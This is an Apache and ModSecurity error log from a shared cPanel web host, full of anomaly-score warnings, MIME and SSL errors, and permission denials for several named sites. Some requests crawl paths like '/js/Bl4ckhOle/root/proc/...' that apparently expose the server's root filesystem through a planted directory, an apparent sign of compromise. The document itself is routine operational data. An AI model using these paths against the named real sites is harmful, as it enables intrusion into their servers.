[Fri Jul 17 09:36:58.560851 2026] [cgi:error] [pid 2018741:tid 2018741] [client 20.169.105.34:36338] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157., referer: https://66.85.158.91:8443/
[Fri Jul 17 09:36:58.561464 2026] [security2:error] [pid 2018741:tid 2018741] [client 20.169.105.34:36338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almqYroj0IkvhSCYadmJSQAAAAQ"], referer: https://66.85.158.91:8443/
[Fri Jul 17 09:36:58.561531 2026] [security2:error] [pid 2018741:tid 2018741] [client 20.169.105.34:36338] ModSecurity: collection_store: Failed to access DBM file "/var/cpanel/secdatadir/cloudtourssrilan-ip": Permission denied [hostname "66.85.158.91"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almqYroj0IkvhSCYadmJSQAAAAQ"], referer: https://66.85.158.91:8443/
[Fri Jul 17 09:36:59.243116 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:59.279520 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:60716] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:36:59.541649 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:36:59.666318 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:00.228199 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:01.894454 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/public_html/admin/"] [unique_id "almqZa14q1EBnanVMYGrhwAAAAk"]
[Fri Jul 17 09:37:01.894843 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/public_html/admin/"] [unique_id "almqZa14q1EBnanVMYGrhwAAAAk"]
[Fri Jul 17 09:37:01.895148 2026] [authz_core:error] [pid 2032156:tid 2032156] [client 216.244.66.236:0] AH01630: client denied by server configuration: /home/anandaob/public_html/public_html/admin/error_log
[Fri Jul 17 09:37:01.895854 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/public_html/admin/"] [unique_id "almqZa14q1EBnanVMYGrhwAAAAk"]
[Fri Jul 17 09:37:05.233689 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:05.235311 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:08.556239 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:56506] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:08.935492 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:10.818878 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:11.178378 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:56618] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:11.244765 2026] [security2:error] [pid 2047046:tid 2047046] [client 57.141.18.93:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory91/subsystem/devices/memory1/subsystem/devices/memory103/node0/memory22/node0/"] [unique_id "almqb0_0b3nWp8txtSDEhwAAAA0"]
[Fri Jul 17 09:37:11.244798 2026] [security2:error] [pid 2047046:tid 2047046] [client 57.141.18.93:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory91/subsystem/devices/memory1/subsystem/devices/memory103/node0/memory22/node0/"] [unique_id "almqb0_0b3nWp8txtSDEhwAAAA0"]
[Fri Jul 17 09:37:11.262441 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:13.738835 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:15.619364 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:17.876248 2026] [rewrite:error] [pid 2050580:tid 2050580] [client 144.76.19.75:0] AH10411: Rewritten query string contains control characters or spaces
[Fri Jul 17 09:37:18.897000 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:55870] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:19.671806 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:55896] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:20.460317 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:55934] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:21.436451 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:21.743256 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:41664] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:21.962862 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/acyclic"] [unique_id "almqebEWOaI5pmYo9fnWgAAAAAA"]
[Fri Jul 17 09:37:21.963445 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/acyclic"] [unique_id "almqebEWOaI5pmYo9fnWgAAAAAA"]
[Fri Jul 17 09:37:21.963992 2026] [security2:error] [pid 2019501:tid 2019501] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/acyclic"] [unique_id "almqebEWOaI5pmYo9fnWgAAAAAA"]
[Fri Jul 17 09:37:23.164658 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:41704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:23.569204 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:23.574127 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 47.82.54.128:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:33/device/device/driver/serio1/driver/unbind
[Fri Jul 17 09:37:24.707991 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almqfJBVIrrUwtEhdafYcgAAAAU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1215&page_105=1932
[Fri Jul 17 09:37:24.708083 2026] [security2:error] [pid 2039911:tid 2039911] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almqfJBVIrrUwtEhdafYcgAAAAU"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1215&page_105=1932
[Fri Jul 17 09:37:24.737272 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:24.794977 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:25.533417 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/misc/kvm/subsystem/vga_arbiter/dev"] [unique_id "almqfa14q1EBnanVMYGroAAAAAk"]
[Fri Jul 17 09:37:25.533453 2026] [security2:error] [pid 2032156:tid 2032156] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/misc/kvm/subsystem/vga_arbiter/dev"] [unique_id "almqfa14q1EBnanVMYGroAAAAAk"]
[Fri Jul 17 09:37:25.670638 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:41804] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:26.109378 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:26.212457 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:26.278426 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:26.465796 2026] [security2:error] [pid 1993671:tid 1993671] [client 66.85.158.91:39834] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "emlproperties.lk"] [uri "/.well-known/acme-challenge/VJ297EU55E9QDSNCU-MKYC4YB5M9J4J3"] [unique_id "almqfg5GPQ6hs4VrfMpJxAAAAAY"]
[Fri Jul 17 09:37:26.465842 2026] [security2:error] [pid 1993671:tid 1993671] [client 66.85.158.91:39834] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "emlproperties.lk"] [uri "/.well-known/acme-challenge/VJ297EU55E9QDSNCU-MKYC4YB5M9J4J3"] [unique_id "almqfg5GPQ6hs4VrfMpJxAAAAAY"]
[Fri Jul 17 09:37:27.083166 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:27.515335 2026] [mime:warn] [pid 2050582:tid 2050582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:28.652285 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:41934] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:29.096744 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:41982] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:29.688891 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.275541 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.275731 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.275770 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.275794 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.275814 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.275841 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.275893 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.275937 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.275967 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.275996 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276031 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276058 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276146 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276173 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276191 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276208 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276235 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276251 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276268 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276285 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276302 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276329 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276347 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276364 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276384 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276404 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276424 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276443 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276465 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276484 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276502 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276524 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276542 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276563 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276602 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276636 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276656 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276674 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276693 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276713 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276732 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276751 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276779 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276799 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276832 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276863 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276901 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276944 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276972 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.276993 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.277014 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.277034 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.277092 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.277118 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:30.277139 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:32.271591 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:33.115260 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 57.141.18.37:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory95/subsystem/devices/memory61/node0/memory20/subsystem/devices/memory70/node0/cpu3/subsystem/uevent
[Fri Jul 17 09:37:33.979206 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:34.190054 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:47514] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:35.288690 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/vc/vcs2/subsystem/vcsa6/dev"] [unique_id "almqh_wooI4qY7Jg93pdBgAAABM"]
[Fri Jul 17 09:37:35.288728 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/vc/vcs2/subsystem/vcsa6/dev"] [unique_id "almqh_wooI4qY7Jg93pdBgAAABM"]
[Fri Jul 17 09:37:35.913805 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqh4e39YUk0SgV8AVB2AAAABE"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:37:35.913840 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqh4e39YUk0SgV8AVB2AAAABE"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:37:36.042491 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:37:36.226156 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:47560] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:37.457272 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:47634] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:37.604152 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:47668] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:37.776982 2026] [security2:error] [pid 2050580:tid 2050580] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqiZgKQioIviBkYdpskwAAABU"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:37:37.777116 2026] [security2:error] [pid 2050580:tid 2050580] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almqiZgKQioIviBkYdpskwAAABU"], referer: http://anandaobauae.org/?C=D;O=Duploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:37:39.778367 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:47802] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:41.067707 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:47830] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:37:41.134746 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/bzcat"] [unique_id "almqjboj0IkvhSCYadmJhAAAAAQ"]
[Fri Jul 17 09:37:41.135156 2026] [security2:error] [pid 2018741:tid 2018741] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/bzcat"] [unique_id "almqjboj0IkvhSCYadmJhAAAAAQ"]
